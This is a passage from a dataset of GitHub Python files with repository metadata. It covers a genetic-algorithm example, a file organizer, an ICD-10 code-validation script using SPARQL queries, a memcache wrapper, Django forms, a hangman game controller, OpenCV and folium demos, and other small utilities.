0.50,\n\t\t}\n\t)\n\n\t#\n\t# if a data-file exists, we load it\n\tif( ctxobj.get('load_in') ):\n\t\tpop = IoOps.loadPopulation( ga, 'ga_cpuDAG.dat' )\n\t\tga.appendToPopulation( pop )\n\t\tprint( 'Read init data from file ('+str(len(pop))+' chromos)')\n\telse:\n\t\t# otherwise, init the gen-alg library from scratch\n\t\tga.initPopulation()\n\t\tprint( 'Created random init data' )\n\n\tif( verbose > 0 ):\n\t\tga.describe()\n\t\tprint( 'Chromo size: %d :: %d %d'%(len(ga.population[0].chromo.data),num_levels,nodes_per_level) )\n\t\tprint( 'Epoch/Inner iters:', epoch_it, inner_it )\n\t\tprint( 'Instruction set:', ' '.join(ga.population[0].chromo.cpu.PARSEops.keys()) )\n\n\t#\n\t# Run it !!\n\t# : we'll just do 10 epochs of 10 steps each\n\tfor i in range( epoch_it ):\n\t\tprint( 'it=',i, time.time() )\n\t\tga.evolve( inner_it )\n\n\t\t# give some running feedback on our progress\n\t\ttxt = ''\n\t\tfor j in range(10):\n\t\t\ttxt = txt + ' %d'%(ga.population[j].fitness)\n\t\tprint( 'iter '+str(i) + \", best fitnesses:\" + txt )\n\t\tprint( ' '+ga.population[0].chromo.cpu.show_prog( show_pc=False, nl='/' ) )\n\t\tprint( ' '+ga.population[0].chromo.cpu.show_prog_as_func() )\n\n\t#\n\t# all done ... output final results\n\tprint( \"\\nfinal best chromos:\" )\n\tfor i in range(5):\n\t\t#print( ga.population[i] )\n\t\tprint( ' fit=%d'%(ga.population[i].fitness) )\n\t\tprint( ' '+ga.population[i].chromo.cpu.show_prog( show_pc=False, nl='/' ) )\n\t\tprint( ' '+ga.population[i].chromo.cpu.show_prog_as_func() )\n\n\n\t#\n\t# we'll always save the pickle-file, just delete it\n\t# if you want to start over from scratch\n\tif( ctxobj.get('save_out') ):\n\t\tIoOps.savePopulation( ga, 'ga_cpuDAG.dat' )\n\t\tprint('Final data stored to file (rm ga_cpuDAG.dat to start fresh)')\n\n@cli.command()\n@click.pass_context\ndef test1( ctx ):\n\tctxobj = ctx.obj\n\tverbose = ctxobj.get('verbose')\n\n\tga = GenAlg( size= 4,\n\t\telitism = ctxobj.get('elitism'),\n\t\tcrossover = ctxobj.get('crossover'),\n\t\tpureMutation = ctxobj.get('puremutation'),\n\t\tchromoClass = MyChromo,\n\t\t#selectionFcn = GenAlgOps.tournamentSelection,\n\t\tcrossoverFcn = GenAlgOps.crossover12,\n\t\tmutationFcn = GenAlgOps.mutateNone,\n\t\t# for pure-mutation of all chromos .. no need to run tournament selection\n\t\t#pureMutationSelectionFcn = lambda x: [0,0],\n\t\t#pureMutationFcn = GenAlgOps.mutateAll,\n\t\tpureMutationSelectionFcn = GenAlgOps.simpleSelectionParentPct,\n\t\tpureMutationFcn = GenAlgOps.mutateAll,\n\t\t#feasibleSolnFcn = GenAlgOps.disallowDupes,\n\t\tminOrMax = 'min',\n\t\tshowBest = 0,\n\t\t# optional params ..\n\t\tparams = {\n\t\t\t'mutateNum': ctxobj.get('mutatenum'),\n\t\t\t'parentPct': 0.50,\n\t\t}\n\t)\n\n\t# otherwise, init the gen-alg library from scratch\n\tga.initPopulation()\n\tprint( 'Created random init data' )\n\n\tmother = ga.population[0]\n\tmother.fitness = mother.calcFitness()\n\tprint( 'mother', str(mother) )\n\t#print( ' ', mother.dataRange )\n\tprint( ' ', mother.cpu.show_prog_as_func() )\n\n\tfather = ga.population[1]\n\tfather.fitness = father.calcFitness()\n\tprint( 'father', str(father) )\n\t#print( ' ', father.dataRange )\n\tprint( ' ', father.cpu.show_prog_as_func() )\n\n\t# simulate a cross-over\n\tchildren = ga.crossoverFcn( mother, father, ga.params )\n\tfor child in children:\n\t\tchild.fitness = child.calcFitness()\n\t\tprint( 'child', str(child) )\n\n\nif __name__ == '__main__':\n\tcli( obj={} )\n","repo_name":"jbp4444/PyGenAlg","sub_path":"examples/ga_cpuDAG.py","file_name":"ga_cpuDAG.py","file_ext":"py","file_size_in_byte":10285,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"99"} +{"seq_id":"42401388586","text":"import time\n\nimport dash_mantine_components as dmc\nfrom dash import html, Output, Input, callback\n\nfrom lib.utils import create_graph\n\ncomponent = html.Div(\n [\n dmc.LoadingOverlay(\n html.Div(create_graph(), id=\"loading-customize-output\"),\n loaderProps={\"variant\": \"dots\", \"color\": \"orange\", \"size\": \"xl\"},\n ),\n dmc.Button(\"Click Me!\", id=\"customize-button\"),\n ]\n)\n\n\n@callback(\n Output(\"loading-customize-output\", \"children\"),\n Input(\"customize-button\", \"n_clicks\"),\n)\ndef func(n_clicks):\n time.sleep(2)\n return create_graph()\n","repo_name":"snehilvj/dmc-docs","sub_path":"docs/loadingoverlay/customize.py","file_name":"customize.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"99"} +{"seq_id":"30192982299","text":"import os\r\nimport shutil\r\n\r\ndef organize_files(directory):\r\n # Create a dictionary to map file extensions to their respective folders\r\n extensions = {\r\n \"Images\": [\".jpg\", \".jpeg\", \".png\", \".gif\"],\r\n \"Documents\": [\".pdf\", \".docx\", \".xlsx\", \".pptx\"],\r\n \"Videos\": [\".mp4\", \".avi\", \".mkv\"],\r\n \"Audios\": [\".mp3\", \".wav\"],\r\n \"Archives\": [\".zip\", \".tar\", \".rar\"],\r\n \"Others\": []\r\n }\r\n\r\n # Create folders for each file category\r\n for folder in extensions:\r\n folder_path = os.path.join(directory, folder)\r\n os.makedirs(folder_path, exist_ok=True)\r\n\r\n # Organize files based on their extensions\r\n for file in os.listdir(directory):\r\n if file != __file__:\r\n file_path = os.path.join(directory, file)\r\n if os.path.isfile(file_path):\r\n file_extension = os.path.splitext(file)[1].lower()\r\n\r\n # Find the corresponding folder for the file extension\r\n target_folder = None\r\n for folder, ext_list in extensions.items():\r\n if file_extension in ext_list:\r\n target_folder = folder\r\n break\r\n\r\n # Move the file to the target folder\r\n if target_folder:\r\n target_path = os.path.join(directory, target_folder, file)\r\n shutil.move(file_path, target_path)\r\n print(f\"Moved '{file}' to '{target_folder}' folder.\")\r\n\r\n print(\"File organization completed!\")\r\n\r\ndef main():\r\n directory = input(\"Enter the directory path to organize files: \")\r\n organize_files(directory)\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n'''In this code, the organize_files function takes a directory path as input. It creates a\r\n dictionary extensions that maps different file extensions to their respective folders. It \r\n then creates folders for each file category in the given directory.\r\n\r\nThe function then iterates over each file in the directory\r\n \r\n (excluding the script file itself) and checks its extension. If the file has\r\n a recognized extension,it determines the target folder based on the extension and moves\r\n the file to that folder using the shutil.move function.\r\n\r\nThe main function prompts the user to enter the directory path and calls the organize_files\r\n function to organize the files in that directory.\r\n\r\nWhen you run the code, it will organize the files in the specified directory into different \r\nfolders based on their extensions. For example, image files will be moved to the \"Images\" folder,\r\n document files to the \"Documents\" folder, and so on. Any files with unrecognized extensions will be \r\n placed in the \"Others\" folder.'''\r\n","repo_name":"aashik3/small-projects-using-python","sub_path":"file_organizer.py","file_name":"file_organizer.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"19012360477","text":"import math\n\ndef sum(dict, field):\n total = 0.\n for record in dict.values():\n if not math.isnan(record[field]):\n total += record[field]\n return total\n\ndef min(dict, field):\n min_value = math.inf\n for record in dict.values():\n if not math.isnan(record[field]) and min_value > record[field]:\n min_value = record[field]\n return min_value\n\ndef max(dict, field):\n max_value = -math.inf\n for record in dict.values():\n if not math.isnan(record[field]) and max_value < record[field]:\n max_value = record[field]\n return max_value\n\ndef count(dict, field):\n total = 0\n for record in dict.values():\n if not math.isnan(record[field]):\n total += 1\n return total\n\ndef average(dict, field):\n total = 0.\n count = 0\n for record in dict.values():\n if not math.isnan(record[field]):\n total += record[field]\n count += 1\n return total / count\n\ndef weighted_average(dict, field, weight_field):\n total = 0.\n weight = 0\n for record in dict.values():\n if not math.isnan(record[field]) and not math.isnan(record[weight_field]):\n total += record[field]\n weight += record[weight_field]\n return total / weight\n\ndef arg_min(dict, field, min_field):\n max_value = math.inf\n arg_value = None\n for record in dict.values():\n if not math.isnan(record[min_field]) and not math.isnan(record[field]) and max_value > record[min_field]:\n max_value = record[min_field]\n arg_value = record[field]\n return arg_value\n\ndef arg_max(dict, field, max_field):\n max_value = -math.inf\n arg_value = None\n for record in dict.values():\n if not math.isnan(record[max_field]) and not math.isnan(record[field]) and max_value < record[max_field]:\n max_value = record[max_field]\n arg_value = record[field]\n return arg_value\n\ndef collect(dict, field):\n out = {}\n for record in dict.values():\n out.update(record[field])\n return out\n","repo_name":"alexander-mol/DictGroupBy","sub_path":"aggregation_utils.py","file_name":"aggregation_utils.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"72724860166","text":"\"\"\"Check that ICD codes found in mondo-edit.obo are valid ICD codes.\n# Advice\n- Kevin (Monarch slack): recommended g.load() instead of g.parse()\n\n# Resources\n- Pronto: loads ontologies\n - https://pypi.org/project/pronto/\n - https://pronto.readthedocs.io/en/stable/\n\n# Code Snippets\n- RDFLib walking\nfor subj, pred, obj in g:\n print(subj, pred, obj)\n\"\"\"\nimport os\nimport pickle\nimport subprocess\nimport pandas as pd\nfrom datetime import datetime\nfrom pathlib import Path\nfrom typing import List\n\n# from ontobio import OntologyFactory\nfrom rdflib import Graph\nfrom rdflib.query import Result\nfrom rdflib.plugins.sparql import prepareQuery\n\n\n# VARS\n# # CONSTANTS\nPROJECT_DIR = os.path.join(os.path.dirname(__file__), '..')\nDATA_DIR = os.path.join(PROJECT_DIR, 'data')\nCACHE_DIR = os.path.join(PROJECT_DIR, 'cache')\nSPARQL_DIR = os.path.join(PROJECT_DIR, 'sparql')\nOUTPUT_DIR = os.path.join(PROJECT_DIR, 'output')\nICD10CM_PATH = os.path.join(DATA_DIR, 'icd10cm', 'bioportal', 'icd10cm.ttl')\nMONDO_PATH = os.path.join(DATA_DIR, 'mondo', 'source', 'mondo.json')\n# # CONFIG\nUSE_CACHE = True\nPATH_MAP = {\n 'mondo': MONDO_PATH,\n 'icd10cm': ICD10CM_PATH\n}\n\n\n# Funcs\ndef _save_csv(df: pd.DataFrame, filename: str):\n \"\"\"Saves dataframe as CSV using filename.\"\"\"\n python_filename = os.path.basename(os.path.realpath(__file__)).replace('.py', '')\n output_dir2 = os.path.join(OUTPUT_DIR, python_filename)\n if not os.path.exists(output_dir2):\n os.mkdir(output_dir2)\n date_label = datetime.now().strftime('%Y-%m-%d')\n output_dir3 = os.path.join(output_dir2, date_label)\n if not os.path.exists(output_dir3):\n os.mkdir(output_dir3)\n save_path = os.path.join(output_dir3, filename)\n df.to_csv(save_path, index=False)\n\n\ndef load_onto(onto_name, use_cache=USE_CACHE) -> Graph:\n \"\"\"Loads ontology\"\"\"\n onto_path = PATH_MAP[onto_name]\n pickle_file = Path(CACHE_DIR, os.path.basename(onto_path).replace('.', '-') + '.pickle')\n if pickle_file.is_file() and use_cache:\n return pickle.load(open(pickle_file, 'rb'))\n\n # Option A: RDF lib\n g = Graph()\n g.parse(ICD10CM_PATH)\n\n # Option B: Pronto\n # https://pypi.org/project/pronto/\n\n # Option C: Ontobio\n # ont_factory = OntologyFactory\n # with open(MONDO_PATH, 'r') as f:\n # mondo_ont = ont_factory.create(str(f))\n\n with open(pickle_file, 'wb') as handle:\n pickle.dump(g, handle, protocol=pickle.HIGHEST_PROTOCOL)\n return g\n\n\ndef sparql_file_query__via_python(onto: Graph, query_filename) -> List:\n \"\"\"Query ontology using SPARQL query file.\"\"\"\n query_filename = query_filename if query_filename.endswith('.sparql') else query_filename + '.sparql'\n with open(os.path.join(SPARQL_DIR, query_filename), 'r') as f:\n query_str = f.read()\n query = prepareQuery(query_str)\n results: Result = onto.query(query)\n result_list: List = [r for r in results]\n return result_list\n\n\ndef sparql_file_query__via_robot(path_in_data_dir, query_filename, use_cache=USE_CACHE) -> pd.DataFrame:\n \"\"\"Query ontology using SPARQL query file. path_in_data_dir: ex: mondo/source/mondo-edit.obo\"\"\"\n query_filename = query_filename if query_filename.endswith('.sparql') else query_filename + '.sparql'\n query_path = os.path.join(SPARQL_DIR, query_filename)\n onto_path = os.path.join(DATA_DIR, path_in_data_dir)\n results_dirname = path_in_data_dir.replace('/', '-').replace('.', '-') + \\\n '__' + query_filename.replace('.', '-')\n results_dirpath = os.path.join(CACHE_DIR, 'robot', results_dirname)\n results_filename = 'results.csv'\n command_save_filename = 'command.sh'\n results_path = os.path.join(results_dirpath, results_filename)\n command_save_path = os.path.join(results_dirpath, command_save_filename)\n command_str = f'robot query --input {onto_path} --query {query_path} {results_path}'\n\n if not os.path.exists(results_dirpath):\n os.mkdir(results_dirpath)\n if not (os.path.exists(results_path) and use_cache):\n with open(command_save_path, 'w') as f:\n f.write(command_str)\n subprocess.run(command_str.split())\n\n try:\n df = pd.read_csv(results_path)\n except pd.errors.EmptyDataError as err:\n os.remove(results_path)\n raise err\n\n return df\n\n\ndef icd_xrefs_mondo__get(v=2) -> pd.DataFrame:\n \"\"\"Get a dataframe of ICD cross-references from Mondo.\"\"\"\n df = sparql_file_query__via_robot(\n 'mondo/source/mondo-edit.obo', f'xrefs_icd_all{str(v)}.sparql')\n df = df.rename(columns={'xref': 'codes'})\n return df\n\n\ndef icd_classes_icd__get() -> pd.DataFrame:\n \"\"\"Get a dataframe of ICD classes from ICD10CM.\"\"\"\n df = sparql_file_query__via_robot(\n 'icd10cm/bioportal/icd10cm.ttl', 'classes_icd_all.sparql')\n df = df.rename(columns={'cls': 'codes'})\n # This returns :, assuming all entries follow this pattern:\n # ...http://purl.bioontology.org/ontology//\n df['codes'] = df['codes'].apply(lambda code: ':'.join(code.split('/')[4:6]))\n return df\n\n\ndef analysis_common_codes__get(\n named_dataframes: List[tuple[str, pd.DataFrame]],\n common_field='codes', save=True\n) -> pd.DataFrame:\n \"\"\"Save and return a dataframe of common codes\n Params:\n - named_dataframes: Each entry in this list should be a length 2 tuple\n with 1st entry as the representative name of the dataframe and 2nd entry\n as the dataframe.\n - common_field: The name of a column that is shared between all dataframes\n in `nested_dataframes`. It's expected that all values in this field be\n namespaced codes, in the form of :.\n \"\"\"\n d = {}\n for name, df in named_dataframes:\n for prefixed_code in df[common_field]:\n ontology_inclusion_field = f'in_{name}'\n prefix, code = prefixed_code.split(':')\n prefix_assumed = prefix.replace('-', '').upper()\n if prefix_assumed in ['ICD9', 'ICD10', 'ICD11']:\n prefix_assumed = f'{prefix_assumed}CM'\n prefixed_code_assumed = f'{prefix_assumed}:{code}'\n if prefixed_code_assumed not in d:\n d[prefixed_code_assumed] = {\n 'prefixAssumed:code': prefixed_code_assumed,\n 'prefixAssumed': prefix_assumed,\n 'prefixOriginal:code': prefixed_code,\n 'prefixOriginal': prefix,\n 'code': code\n }\n d[prefixed_code_assumed][ontology_inclusion_field] = True\n df = pd.DataFrame(d.values())\n # fillna: normally should do on specific cols only; but in OK this case since structure known\n df = df.fillna(False)\n\n if save:\n _save_csv(df, 'results.csv')\n return df\n\n\ndef analysis_common_codes_stats__get(df, save=True) -> pd.DataFrame:\n \"\"\"From previous analysis of common codes, get some statistics.\n # noinspection PyPep8: Supposed to suppress Pycharm warning for E712 '=='\n vs 'is', which doesn't apply to Pandas, which overrides these operators.\"\"\"\n unique_prefixes = df['prefixAssumed'].unique()\n onto_fields = [col for col in df.columns if col.startswith('in_')]\n d = {}\n for p in unique_prefixes:\n for onto_fld in onto_fields:\n # noinspection PyPep8\n subset = df[(df[onto_fld] == True) & (df['prefixAssumed'] == p)]\n ontology = onto_fld.replace('in_', '')\n d[f'{ontology} x {p}'] = {\n 'ontology': ontology,\n 'prefixAssumed': p,\n 'count': len(subset)\n }\n for p in unique_prefixes:\n # noinspection PyPep8\n subset = df[(df[onto_fields[0]] == True) & (df[onto_fields[1]] == True) & (df['prefixAssumed'] == p)]\n ontologies = '; '.join([x.replace('in_', '') for x in onto_fields])\n d[f'{ontologies} x {p}'] = {\n 'ontology': ontologies,\n 'prefixAssumed': p,\n 'count': len(subset)\n }\n stats_df = pd.DataFrame(d.values())\n stats_df = stats_df.sort_values(['ontology', 'prefixAssumed'])\n if save:\n _save_csv(df, 'stats.csv')\n return stats_df\n\n\n# Execution\nicd_xrefs_mondo: pd.DataFrame = icd_xrefs_mondo__get()\nicd_classes_icd: pd.DataFrame = icd_classes_icd__get()\ncommon_codes: pd.DataFrame = analysis_common_codes__get([\n ('Mondo', icd_xrefs_mondo),\n ('ICD10CM', icd_classes_icd)])\ncommon_codes_stats: pd.DataFrame = analysis_common_codes_stats__get(common_codes)\nprint()\n","repo_name":"monarch-initiative/icd10cm","sub_path":"scripts/check_valid_codes.py","file_name":"check_valid_codes.py","file_ext":"py","file_size_in_byte":8504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"18870936389","text":"from django import forms\nfrom django.forms import ClearableFileInput\nfrom .models import Board, Comment, UploadFile\nfrom ckeditor_uploader.widgets import CKEditorUploadingWidget\n\n#Meta 클래스는 내부 클래스로 활용되며, 기본필드의 값을 재정의 할 때 사용.\n\nclass CreateBoard(forms.ModelForm):\n class Meta:\n model = Board\n fields = ['title', 'body']\n\n widgets = {\n 'title': forms.TextInput(\n attrs={'placeholder': '제목을 입력하세요.'}),\n 'body': forms.CharField(widget=CKEditorUploadingWidget()),\n }\n\n\nclass CreateComment(forms.ModelForm):\n class Meta:\n model = Comment\n fields = ['contents']\n widgets = {\n 'contents': forms.Textarea(attrs={'class':'form-control', 'rows': 4, 'cols': 40, 'placeholder': 'Join the discussion and Leave a comments!'})\n }\n\nclass UploadFileForm(forms.ModelForm):\n class Meta:\n model = UploadFile\n fields = ['file']\n widgets = {\n 'file': ClearableFileInput(attrs={'multiple': True, 'style': 'border: 1px solid'})\n }\n","repo_name":"KisolJung/django_practice","sub_path":"boardprj/boardApp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"31625711292","text":"import os\n\nfrom rules_python.python.runfiles import runfiles\nfrom tensorflow.python.framework import load_library\n\nmanifest = os.environ.get(\"RUNFILES_MANIFEST_FILE\")\ndirectory = os.environ.get(\"RUNFILES_DIR\")\n\nr = runfiles.Create()\nCUSTOM_OPS_LIB = r.Rlocation(\"contrack/_custom_ops.so\")\ncustom_ops = load_library.load_op_library(CUSTOM_OPS_LIB)\n\nsequence_concat = custom_ops.SequenceConcat\nnew_id = custom_ops.NewId\n","repo_name":"google-research/google-research","sub_path":"contrack/custom_ops.py","file_name":"custom_ops.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":31433,"dataset":"github-code","pt":"99"} +{"seq_id":"30261916192","text":"import csv\n\n\ndef read_foods (file_name):\n\n with open (file_name, encoding='ISO-8859-1') as input:\n foods = list (csv.DictReader (input, dialect='excel-tab'))\n\n print ('Read in ' + str(len(foods)) + ' lines of nutrition (expected 5684).')\n\n short_colnames = {key: key for key in foods [0]}\n descriptions = {key: key for key in foods [0]}\n\n from read_foods__data import column_descriptions\n\n for (item, desc, short_name) in column_descriptions:\n short_colnames [item] = short_name\n descriptions [item] = desc\n \n def replace (x):\n for a in [['capsule', 'Capsule'], ['tablet', 'Capsule'],\n ['Tablet', 'Capsule'], ['TABLET', 'Capsule'],\n ['G', 'Grams'], ['g', 'Grams'], ['gram', 'Grams'],\n ['teaspoon', 'Teaspoon'], ['GRAMS', 'Grams'],\n ['grams', 'Grams'], ['CAPSULE', 'Capsule'],\n ['Gram', 'Grams'], ['GRAM', 'Grams'],\n ['Teaspoon', 'Teaspoon']]:\n if x == a [0]:\n return a[1]\n return x\n\n for f in foods:\n f ['Units'] = replace (f ['Units'])\n\n def aggregate (new_col, old_cols):\n for f in foods:\n a = 0\n for i in old_cols:\n a += float (f [i])\n f [new_col] = a\n\n aggregate ('AllCheese', ['CottageCheese', 'CheddarCheese', 'OtherCheese'])\n\n aggregate ('AllFish', ['WhiteFish', 'OilyFish', 'CannedTuna', 'Shellfish'])\n\n aggregate ('AllMeat', ['Beef', 'Lamb', 'Pork', 'ProcessRedMeat',\n 'OtherRedMeat', 'Burgers', 'Sausages',\n 'Offal', 'Poultry', 'ProcessedPoultry',\n 'GameBirds'])\n\n aggregate ('AllAnimal', ['AllCheese', 'AllFish', 'AllMeat'])\n\n return {'table': foods,\n 'descriptions': descriptions,\n 'short_colnames': short_colnames}\n","repo_name":"ggdot/GGDOT-data-hack","sub_path":"read_foods.py","file_name":"read_foods.py","file_ext":"py","file_size_in_byte":1982,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"99"} +{"seq_id":"22224102050","text":"'''\nCreated on: May 09, 2013\n@author: qwang\nMemcache client\n'''\n\nimport memcache\nfrom weibonews.utils.decorators import perf_logging\n\n_TIMEOUT = 0\n\nclass CacheClient:\n\n def __init__(self, servers, timeout=_TIMEOUT):\n if isinstance(servers, basestring):\n self._client = memcache.Client(servers.split(','))\n else:\n self._client = memcache.Client(servers)\n self._timeout = timeout\n\n @perf_logging\n def set(self, key, value, timeout=_TIMEOUT):\n if type(key) is not str:\n key = str(hash(str(key)))\n return self._client.set(key, value, time=timeout or self._timeout)\n\n @perf_logging\n def get(self, key):\n if type(key) is not str:\n key = str(hash(str(key)))\n return self._client.get(key)\n\n @perf_logging\n def delete(self, key):\n if type(key) is not str:\n key = str(hash(str(key)))\n self._client.delete(key)\n\n @perf_logging\n def withdraw(self, key):\n if type(key) is not str:\n key = str(hash(str(key)))\n result = self._client.get(key)\n if result:\n self._client.delete(key)\n return result\n","repo_name":"vispeal/VoteHelper","sub_path":"weibonews/weibonews/utils/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"34288171050","text":"from getpass import getpass\nfrom src.game import HangmanGame\nfrom src.menu import GameMenu\nfrom src.state import GameState\nfrom src.difficulty import Difficulty\nfrom enum import Enum\nfrom src.clue_handler import ClueHandler\nfrom options.menu import ExitGameException, MenuOption\nfrom src.user_statistics import UserStatistics\nfrom utils.utilities import clear_screen, difficulty_padding\n\nRETURN_TO_MAIN_MENU_OPT = \"\"\nINITIAL_DIFFICULTY = Difficulty.MEDIUM\n\nclass GameController:\n def __init__(self, score, basic_clues, bonus_clues):\n self.user_statistics = UserStatistics(score, basic_clues, bonus_clues)\n self.difficulty = INITIAL_DIFFICULTY\n\n def run(self):\n menu = GameMenu(self)\n while True:\n try: \n option = menu.request_option()\n option.execute(self)\n except ExitGameException:\n break\n\n def obtain_user_stats(self):\n return self.user_statistics\n \n def update_difficulty(self):\n dificulty = GameMenu.request_selected_difficulty()\n if dificulty != None:\n self.difficulty = dificulty\n\n def play_game(self):\n category = GameMenu.request_word_category()\n game = HangmanGame(self.difficulty, self.user_statistics, category)\n game.run()\n game.update_stats(self.user_statistics)\n game.update_score(self.user_statistics, self.difficulty)\n \n def show_rules(self):\n GameMenu.show_rules()\n\n def show_game_statistics(self):\n print(\"\\n------------------------------\")\n print(f\"| Dificultad actual: {self.difficulty.to_string()}{difficulty_padding(self.difficulty)}|\")\n print(\"------------------------------\")\n print(\"Pistas simples: \", self.user_statistics.get_basic_clues())\n print(\"Pistas bonus: \", self.user_statistics.get_bonus_clues())\n print(\"Puntaje: \", self.user_statistics.score)\n\n def buy_basic_clue(self):\n self.user_statistics.buy_basic_clue()\n\n def buy_bonus_clue(self):\n self.user_statistics.buy_bonus_clue()\n","repo_name":"Brubrux/Proyecto-AnInfo-","sub_path":"src/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":2082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"3211467257","text":"from SYM import SYM\nfrom NUM import NUM\nfrom strings import oo\nfrom utils import getThe, rand, rnd, setSeed\n\ndef settings_test():\n err = 0\n val = oo(getThe())\n if val != '{:dump false :go all :help false :seed 937162211}':\n err += 1\n return err\n\ndef rand_test():\n err = 0\n num1, num2 = NUM(), NUM()\n\n setSeed(getThe()['seed'])\n for i in range(1, 10**3):\n num1.add(rand(0, 1))\n \n setSeed(getThe()['seed'])\n for i in range(1, 10**3):\n num2.add(rand(0, 1))\n\n m1, m2 = rnd(num1.mid(), 10), rnd(num2.mid(), 10)\n\n if m1 != m2:\n err += 1\n if rnd(m1, 1) != 0.5:\n err += 1\n\n return err\n\ndef sym_test():\n err, sym = 0, SYM()\n for c in [\"a\",\"a\",\"a\",\"a\",\"b\",\"b\",\"c\"]:\n sym.add(c)\n \n if sym.mid() != \"a\":\n err += 1\n if sym.div() > (1.379 + 0.001) or sym.div() < (1.379 - 0.001):\n err += 1\n return err\n\ndef num_test():\n err, num = 0, NUM()\n for i in [1,1,1,1,2,2,3]:\n num.add(i)\n\n if num.mid() > (1.57142857 + 0.01) or num.mid() < (1.57142857 - 0.01):\n err += 1\n if rnd(num.div()) > (0.787 + 0.01) or rnd(num.div()) < (0.787 - 0.01):\n err += 1\n return err\n","repo_name":"ihayet/ASE_HW1","sub_path":"src/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"72587513924","text":"'''\nGiven an array of non-negative integers, you are initially positioned at the first index of the array.\n\nEach element in the array represents your maximum jump length at that position.\n\nDetermine if you are able to reach the last index.\n\nFor example:\nA = [2,3,1,1,4], return true.\n\nA = [3,2,1,0,4], return false.\n'''\n\nclass Solution(object):\n def canJump(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n if not nums:\n return False\n length = len(nums)\n index = 0\n longest = nums[0]\n while index <= longest:\n if longest >= length - 1:\n return True\n longest = max(longest, index + nums[index])\n index += 1\n return False\n\n\nif __name__ == \"__main__\":\n assert Solution().canJump([2, 3, 1, 1, 4]) == True\n assert Solution().canJump([3, 2, 1, 0, 4]) == False","repo_name":"gavinfish/leetcode-share","sub_path":"python/055 Jump Game.py","file_name":"055 Jump Game.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":181,"dataset":"github-code","pt":"99"} +{"seq_id":"6077449681","text":"import cv2\nimport numpy as np\n\nimg = cv2.imread(\"/Resources/lambo.jpg\")\nprint(img.shape)\n\nimgResize = cv2.resize(img,(300,200)) # Width => Height\nprint(imgResize.shape)\n\nimgCropped = img[0:200,200:500] # Heigh => Width\n\ncv2.imshow(\"Image\",img)\ncv2.imshow(\"Image Resize\",imgResize)\ncv2.imshow(\"Image Cropped\",imgCropped)\n\ncv2.waitKey(0)","repo_name":"BloodShop/Face-Distance-Measurement","sub_path":"c3_ImagesSize.py","file_name":"c3_ImagesSize.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"5765094943","text":"import folium\nimport os\nimport pandas as pd\nimport numpy as np\nfrom folium.plugins import GroupedLayerControl, FeatureGroupSubGroup\n\n\nSIZE = 100\n\ndef plotTMA(m): \n tma=[]\n tma_df = pd.DataFrame(pd.read_excel('MAPAS TMA.xlsx', sheet_name='TERMINAL'), columns=['COORD LAT', 'COORD LONG'])\n print(tma_df)\n for index, row in tma_df.iterrows():\n tma.append([row['COORD LAT'], row['COORD LONG']])\n folium.Polygon(\n locations=tma,\n color=\"black\",\n weight=1,\n fill=False,\n ).add_to(m)\n \ndef plotAD(m, fg):\n airdrome_df = pd.DataFrame(pd.read_excel('MAPAS TMA.xlsx', sheet_name='AERODROMOS'), columns=['NOME', 'COORD LAT', 'COORD LONG'])\n print(airdrome_df)\n for index, row in airdrome_df.iterrows():\n icon = selectIcon(\"airdrome.png\",5, 0, 0)\n location = [row['COORD LAT'], row['COORD LONG']]\n folium.Marker(\n location=location, icon=icon, popup=row['NOME']\n ).add_to(fg)\n \n\ndef plotCharts(m, fg_list):\n charts_df = pd.DataFrame(pd.read_excel('MAPAS TMA.xlsx', sheet_name='CARTA_COORD'))\n points_df = pd.DataFrame(pd.read_excel('MAPAS TMA.xlsx', sheet_name='PONTOS')).set_index(['ID'])\n print(points_df)\n for index, row in charts_df.iterrows():\n line = []\n file = row['COR'] + '.png'\n fg= next(\n (obj for obj in fg_list if obj.layer_name == row['NOME']),\n None\n )\n for col in row:\n icon = selectIcon(file, 6, 10, 10)\n try:\n point = points_df.loc[col]\n num_col = str(row[row==col].index[0])\n restriction = str(row[\"RESTRIÇÃO \"+num_col[1:]])\n location = (point.iloc[2], point.iloc[3])\n # add points to line\n line.append([point.iloc[2], point.iloc[3]])\n #plot points\n if \"RWY\" in point.iloc[0] or \"DER\" in point.iloc[0]: #if is a rwy, then dont plot or put label\n print(\"RWY is plotted in another way\")\n continue\n plotLabel(m, location, point.iloc[0], restriction, fg, row[\"POSIÇÃO TEXTO\"], row['NOME'])\n folium.Marker(\n location=location, icon=icon\n ).add_to(fg)\n except Exception as e:\n print(\"Excep: \"+ str(e))\n \n #plot lines \n folium.PolyLine(\n locations=line,\n color=row['COR'],\n weight=2,\n tooltip=row.iloc[0],\n ).add_to(fg)\n\n \n\n\ndef selectIcon(file_name:str, ratio:int|float, anchor_x:int, anchor_y:int):\n os.chdir(\"./assets\")\n icon_image = file_name\n icon = folium.CustomIcon(\n icon_image,\n icon_size=(SIZE/ratio, 